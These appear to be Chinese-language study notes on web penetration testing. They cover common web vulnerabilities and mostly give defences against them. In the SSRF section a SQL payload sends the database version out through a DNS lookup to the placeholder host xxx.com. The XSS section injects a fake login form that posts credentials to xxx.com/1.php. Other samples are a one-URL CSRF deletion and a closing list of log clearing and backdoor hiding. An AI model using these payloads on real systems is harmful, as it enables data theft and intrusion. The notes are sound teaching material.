滲透測試簡單總結

滲透測試簡單總結

web請求基本概念

• 請求行
  • Request-Line = Method SP Request-URI SP HTTP-Version CRLF
• 請求頭
  • 常見請求頭
  • 不一樣請求頭取值的特殊含義
• 請求體
  • 二進制文件上傳的編碼方式
• （響應）狀態行
  • status-Line = HTTP-Version SP Status-Code SP Reason-Phrase CRLF
• 響應頭
• 響應體

常見漏洞

• 脆弱的訪問控制
• 認證和會話管理缺陷
• 文件包含
• XXE注入
• 反序列化漏洞
• 第三方組件缺陷

特性被濫用或無用致使的【漏洞】

• 文件上傳
• XXE
• 文件包含
• 反序列化

常見的輸入篡改攻擊

• 強制瀏覽
• 命令注入
• 跨站腳本攻擊
• 緩衝區溢出攻擊
• 格式化字符串攻擊
• SQL注入
• Cookie毒化
• 隱藏域控制

輸入篡改攻擊的成因

• 只在客戶端進行輸入驗證
• 過濾時未進行規範化
• 過濾後引入新的漏洞

安全加固方案

• 全部用戶輸入須要在服務器端進行集中的統一驗證

  • HTTP請求行
  • HTTP請求頭
  • HTTP請求體

• 代碼複查

• 不要「濫用」隱藏域

  • 存儲在Session中或從每次請求中獲取參數值

• 請求參數須要嚴格的驗證其類型

  • 數據類型（string、integer，real，etc...）
  • 最小和最大長度
  • 是否運訓null
  • 參數是不是必須的
  • 數字的取值範圍
  • 特定模式（正則表達式）
    • 白名單機制

• 服務器返回給客戶端的重要參數、賦值使用HMAC進行參數簽名

  • 千萬不要使用MD五、SHA-xxx之類的摘要算法對參數進行摘要計算，也不要使用基於「祕密鹽值」的MD五、SHA-xxx之類的摘要算法對參數進行摘要計算
    • [HASH長度擴展攻擊能夠用來僞造消息和對應散列值][https://ciphersaw.me/2017/11/12/Hash Length Extension Attack（哈希長度擴展攻擊）/]
    • 對客戶端提交的請求校驗關鍵邏輯代碼中的參數，一旦消息完整性簽名校驗失敗，說明客戶端嘗試篡改請求參數攻擊，代碼邏輯直接跳事後續業務邏輯代碼，給客戶端返回統一的錯誤信息

• 對每一個須要驗證的請求進行檢查，不只是在用戶第一次登陸請求時進行檢查

• 避免使用本身開發的訪問控制，而是使用開發框架內置或第三方可靠安全訪問控制框架

  • 採用聲明式而非硬編碼的訪問控制
  • 集中化訪問控制而非分散訪問控制

• 防止客戶端緩存重要內容：設置HTTP響應頭和HTML meta標籤

• 在服務器端使用操做系統提供的訪問控制保護文件的未經受權的訪問

• 業務模型的訪問控制受權建模

  • 訪問控制權限劃分的三角形基本法則

• 平行權限訪問

  • 屬主權限檢查

• 提高權限訪問

  • 使用ACL

會話攻擊

• 會話預測（Session Prediction）指的是攻擊者能夠【預測】出服務端的合法【會話令牌】，從而達成身份冒用的效果。

• 會話劫持（Session Hijacking）能夠經過中間人劫持攻擊或跨站點腳本攻擊方式拿到用於會話惟一標識的【會話令牌】

• 會話偷渡（Session Riding）是跨站請求僞造（CSRF）的另外一種表述

• 攻擊者不須要克隆受害用戶的會話，攻擊者一次會話頭東攻擊只是借用受害用戶保存在客戶端的【會話令牌】執行一次受害用戶不知情的認證會話操做，攻擊者對於受害用戶使用的【會話令牌】具體是什麼並不知情。

文件上傳漏洞

• 對於某些類型文件
  • 禁用上傳目錄的腳本執行權限

以Apache爲例，可使用.htaccess，可是使用.htaccess防護文件上傳漏洞存在反作用，攻擊者上傳精心構造的.htaccess來使得[上傳目錄]下對特定文件類型開啓腳本解釋執行功能。

• 即便
  • 檢查是否判斷了上傳文件類型及後綴
  • 定義上傳文件類型白名單
  • 文件上傳目錄禁止腳本解析
• 仍然推薦
  • 定義文件名白名單
  • 上傳後統一重命名
  • 杜絕XSS漏洞、文件包含漏洞、字符編碼漏洞...

文件包含漏洞

C語言頭文件
python import的模塊或包
......

• 插件功能須要【動態加載執行代碼】
• 當攻擊者能夠控制【加載什麼代碼】的時候，就觸發了文件包含漏洞
• 幾乎全部腳本語言都會提供文件包含功能，但PHP語言因爲其過於靈活和自由的代碼執行繼指致使了大多數文件包含類漏洞都是出如今PHP編寫的網站程序之中。

PHP文件包含漏洞

• include()
• require()
• include_once()
• require_once()

上述四個PHP函數均可以傳入【變量】來動態加載PHP源代碼文件。且既能夠是【本地文件】，也能夠是【遠程文件】。

PHP本地文件包含執行代碼不依賴於修改PHP的默認運行時配置便可完成認以PHP代碼執行。

經過文件上傳漏洞上傳惡意腳本文件，經過文件包含漏洞去執行腳本。

將惡意腳本文件保存到某個網址下面，經過文件包含漏洞去執行該腳本。

防護PHP文件包含漏洞

• 修改PHP的運行時配置文件php.ini
  • 開啓open basedir函數，將其設置爲指定目錄，則只有該目錄的文件容許被訪問
  • allow_url_include=Off禁止遠程文件包含
  • 從代碼級別避免及修復文件包含漏洞
    • 過濾文件包含路徑變量的輸入，採用白名單方式包含文件
    • 建議禁止從外部輸入讀取包含文件的路徑

XXE漏洞

• XML代碼中包含了加載外部資源的【惡意變量聲明】
• 服務端代碼在解析XML代碼時無限制解析【惡意變量】聲明語句
• 【惡意變量】的值被回顯

XXE漏洞危害

• 敏感數據泄露（任意文件讀取）
• 拒絕服務攻擊
• 服務端請求僞造
• 遠程代碼執行
• 執行應用程序託管服務器的網絡端口掃描

python XML解析器其餘漏洞類型

序列化

序列化是將應用程序對象狀態轉換爲二進制數據或文本數據的過程。

反序列化則是其逆向過程，即從二進制數據或文本數據建立對象狀態。

應用程序使用該功能來支持有效共享或存儲對象狀態。

變化的是數據，類和方法存在於後端代碼中。

反序列化應用場景

• 分佈式系統的【遠程過程調用】，傳參：經過網絡傳輸【對象】
• 遊戲的進度存檔（序列化）與讀檔（反序列化）

反序列化漏洞

• 攻擊者經過建立惡意的反序列化對象，在應用程序執行序列化時，遠程執行代碼和篡改數據。
• 使用不可信來源的對象序列化的分佈式應用程序和API特別容易受到反序列化攻擊。

案例：[python編寫的SQL注入自動化利用神奇Sqlmap存在的Pickle反序列化漏洞致使代碼執行報告][https://blog.knownsec.com/2015/12/sqlmap-code-execution-vulnerability-analysis/]

PHP對象序列化基本概念

全部php裏面的值均可以使用函數serialize()來返回一個包含字節流的字符串來表示。unserialize()函數可以從新把字符串變回php原來的值。 序列化一個對象將會保存對象的全部變量，可是不會保存對象的方法，只會保存類的名字。

不要被不可打印字符欺騙了

• protected屬性字段age左邊的*(2a)字符的左右兩邊被不可打印字符\00包圍
• private屬性字段mobile左邊拼接了字符串\00User\00，其中User是類名

序列化規律

• <對象標識>:<類名長度>:"類名":類的成員變量個數

  • O:4:"User":3:{

• <成員變量類型>:<成員變量名長度>:<成員變量名>";<成員變量值類型>:<成員變量值>;

  • s:6:"\00*\00age";i:18;

• <成員變量類型>:<成員變量名長度>:<成員變量名>";<成員變量值類型>:<成員變量值長度>:<成員變量值>;

  • s:4:"name";s:9:"zhangsan";

• <成員變量類型>:<成員變量名長度>:<成員變量名>":<成員變量值長度>:<成員變量值>;

  • s:12:"\00User\00moblie";s:11:"1330000000";}

反序列化漏洞防護方案

• 將應用程序配置爲不接受不可信來源的任何反序列化輸入

• 僅使用具備基本數據類型的序列化函數（如PHP的json_encode()和json_decode())

• 若是這些措施不可行，那麼在建立對象以前執行反序列化期間應強制約束類型，在較低特權環境（例如，臨時容器）中運行反序列化，並限制與執行反序列化的服務器的網絡鏈接。

• 同時還能夠經過使用加密或完整性檢查（例如，數字前面），防止惡意的對象建立和數據篡改操做。

第三方組件

全部web應用程序（甚至操做系統）都依靠由第三方開發和提供的各類軟件組件，包括開源組件和商用組件。

延伸到供應鏈安全

1. 開發環節：軟硬件開發環境、開發工具、第三方庫等。
2. 交付環節：下載、安裝光盤、應用商店等。
3. 使用環節：軟件升級、維護等。

SQL注入漏洞發現與利用

• 確認漏洞注入點存在
  • 有報錯回顯
    • 枚舉/猜解：列數、數據庫版本、表名、列名你個、具體值
  • 無報錯回顯 -> SQL盲注
    • 利用SQL代碼延遲執行時間差
    • 利用SQL代碼執行返回結果差別製造頁面渲染結果差異

SQL注入攻擊與危害

• 越權讀取數據
• 繞過訪問控制
• 篡改數據
• 寫文件
• 讀文件
• 代碼執行

SQL注入防護

• 代碼級別一勞永逸
  • 使用預編譯SQL語句
• 縱深防護措施
  • 最小化數據鏈接權限
  • 輸入數據白名單
• 緩解措施
  • 使用Web應用防火牆（WAF）

命令注入

• 有時也被稱爲代碼注入，SQL注入自己就是一種特殊的命令注入：針對SQL服務器的命令注入。

shell命令注入漏洞的代碼防護級別

• 輸入數據過濾
  • shell命令過濾（escapeshellcmd）
  • shell命令參數過濾（escapehellarg）

過濾是把雙刃劍

• 屢次過濾致使輸入的參數又變成了可執行的命令

SSRF漏洞

文件包含、XXE漏洞、反序列化漏洞均可以用來構造和觸發SSRF，這就是典型的【組合漏洞】和【鏈式漏洞】利用。

嚴格來講，SSRF不是一種獨立漏洞類型，而是一種漏洞利用類型。

curl 支持的協議很是普遍，若是服務端存在curl命令調用的用戶輸入的場景，很是危險！！！

另類SSRF

• 除了文件讀取時容易形成SSRF漏洞（例如文檔、圖片、音視頻處理等在接受文件路徑輸入參數時極可能同時支持本地和網絡協議URL）

• 數據庫的一些內置功能（家在網絡地址時會自動對其中包含的域名字段進行DNS查詢），也會被利用在SQL注入的過程當中獲取數據。

SQL注入過程當中的SSRF

以sqlmap爲例，在其衆多數據獲取技巧中提供了一個命令行參數--dns-domain就是實現了利用SQL數據庫在執行一些特定函數時會對其中傳入的參數看成域名進行查詢這個特性的基於DNS的帶外數據回傳。

select load_file(concat('\\\\'), version, '.xxx.com\\1.txt')

成功執行上述SQL代碼會在xxx.com的DNS解析服務器上留下一條DNS查詢記錄。

• 須要注意的是，MySQL的全局配置參數secure_file_priv的設定會影響到load_file()是否解析參數中包含的域名
  • 5.7.16以前獨立安裝包版本或5.7.5以前全部版本的secure_file_priv缺省設置均爲空，則上述攻擊代碼能得手
  • 但若是設置爲NULL則會禁用文件讀取操做，若是設置爲制定目錄，則只能從制定目錄讀取文件

XSS攻擊

離開JavaScript也能來一次XSS攻擊，基於頁面篡改。

<div>
  <form action="xxx.com/1.php">用戶名<input name="a"><br/>密碼<input name="b" type="password"><br/><input type=submit value=登錄>
</div>

在絕大多數狀況下，XSS中都會包含JavaScript代碼，以完成更高級的漏洞利用效果

• 從攻擊者角度看XSS
  • 發現和驗證XSS的存在性雖然容易，但只是第一步
  • 和諧完美利用達到最大化漏洞利用效果很是不容易
  • 工具黨的福音，BeEF，The Browser Exploitation Framework

防護XSS

• 服務端腳本在【輸出】數據時，要進行【轉義】操做

• 【輸出】數據的【轉義】要按內容是HTML仍是JavaScript進行區別操做

  • 對於HTML的輸出轉義應使用htmlspecialchar()函數（且大多數狀況下應在第二個參數設置ENT_QUOTES來轉義單引號）
  • 對於JavaScript的輸出轉義，特別是涉及到JavaScript變量的過濾僅僅使用htmlspecialchars()是不夠的，不少RESTful接口應用還會使用json_encode()去處理服務端輸出給客戶端的JavaScript變量值

• 在客戶端腳本中儘量使用innerText()之類的函數來過濾服務端腳本對客戶端變量的賦值

• 聯合現代瀏覽器的客戶端安全機制，共同對抗XSS

  • 在服務端輸出HTML時，加上Content Security Policy的HTTP響應頭
  • 低版本可能不支持，可是某些低版本瀏覽器支持一些自定義HTTP響應頭X-XSS-Protection來限制家在執行不可信腳本
  • 在設置Cookie時，加上HttpOnly參數避免關鍵Cookie字段被腳本訪問

CSRF描述

• 從名稱上來看相似跨站點攻擊，但實質上徹底不一樣：
  • XSS是濫用用戶對Web站點的信任
  • CSRF是濫用Web站點對其受權用戶的信任
• 假裝成來自受信任站點的合法用戶
  • 有時也被稱爲會話劫持攻擊
• 典型案例
  • 誘騙用戶訪問一個圖片源標記爲惡意請求連接的頁面，從而觸發一個異步的惡意遠程調用
  • 接受受信任而且經過驗證的用戶的輸入但並不檢查數據的來源地址

CSRF漏洞攻擊流程

美團技術團隊：如何防止CSRF攻擊？

• 受害者登陸a.com，並保留了登陸憑證（Cookie）。
• 攻擊者引誘受害者訪問了b.com。
• b.com 向 a.com 發送了一個請求：a.com/act=xx。瀏覽器會默認攜帶a.com的Cookie。
• a.com接收到請求後，對請求進行驗證，並確認是受害者的憑證，誤覺得是受害者本身發送的請求。
• a.com以受害者的名義執行了act=xx。
• 攻擊完成，攻擊者在受害者不知情的狀況下，冒充受害者，讓a.com執行了本身定義的操做。

與XSS的聯繫

• 跨站點請求僞造一般伴隨XSS漏洞利用過程
• 現有XSS，再有CSRF
  • 藉助XSS漏洞得到在用戶瀏覽器執行腳本的機會
• 沒有XSS，同樣能夠有CSRF
  • 藉助已經過網站認證和得到受權的用戶瀏覽器會話
    • 假借用戶的合法cookie
• 一個URL便可出發一次CSRF
  • http://victim.org/deluser.php?id=admin

防護CSRF

1. 對HTTP Header中的referer字段進行驗證

   • HTTP Header字段記錄了該HTTP請求的來源地址。在一般狀況下，訪問一個安全受限頁面的請求必須來自於同一個網站
     • 只須要對於每個POST請求驗證其Referer值，若是是來源於【受信任】域名的請求，則接受
     • 若是Referer是其餘網站的話，就有多是CSRF攻擊，則拒絕該請求

2. 在POST請求中添加token做爲參數並驗證

   • 這種安全策略背各類Web框架普遍採用
   • CSRF漏洞可以被利用的主要緣由就是用戶的所有驗證信息均保存在Cookie中，攻擊者能夠在不接觸到Cookie的的前提下完成身份驗證
     • 只須要在請求中設置一個攻擊者所沒法僞造的、不可預測的token，且保證這個token與Cookie是毫無關聯的
     • 此外，還應保證這個token是獨立且不重複使用的
     • 在服務端驗證用戶身份時，應同時對Cookie及token進行驗證
       • 這個token被稱爲csrftoken，在HTML的表單中，該字段的輸入域網網是隱藏的

3. 在HTTP頭中自定義屬性並驗證

   • 自定義屬性的方法也是使用token並進行驗證，和前一種方法不一樣的是，這裏並非把token以參數的形式置於HTTP請求之中，而是把它放到HTTP Header中自定義的屬性裏
   • 當前一種方法實現不便的狀況下，能夠採用這種安全策略進行系統加固。

4. 添加驗證碼並驗證

   • 能夠在表單中增長隨機驗證碼，採用強制用戶與Web應用進行交互的方式防止CSRF攻擊
     • 登錄驗證、交易等針對危險操做的接口
     • 但強制全部請求都是用驗證碼每每也是不現實的
   • 在實戰中，Web程序每每採用在POST請求中添加token做爲參數並驗證的方法做爲防止CSRF漏洞的安全策略
     • 禁止將csrftoken做爲GET參數進行請求，防止請求地址唄記錄到瀏覽器的地址欄，也防止token經過Referer泄漏到其餘網站。

以上四種防護方法一般是組合使用，而不是單一應用。

Web服務器URI解析類漏洞

CVE-2013-4547 Nginx文件名解析邏輯漏洞

目錄遍歷或信息泄漏（被枚舉探測存在性）

• 微軟DOS時代設計的針對長文件名的自動縮短8.3命名規則，超過部分用~取代。
• 上述CVE漏洞就能夠致使Web服務器將非腳本文件擴展名對應的文件看成服務端腳本解析並執行

防護Web服務器URI解析類漏洞

• 升級版本
• 根據官方通告打補丁
• 部署防火牆、HIDS、WAF等來緩解。

訪問痕跡清理

• 系統日誌
• 刪除臨時文件
• 後門隱藏
  • 後門軟件隱藏
  • 後門進程隱藏
  • 後門帳戶隱藏
  • 後門端口隱藏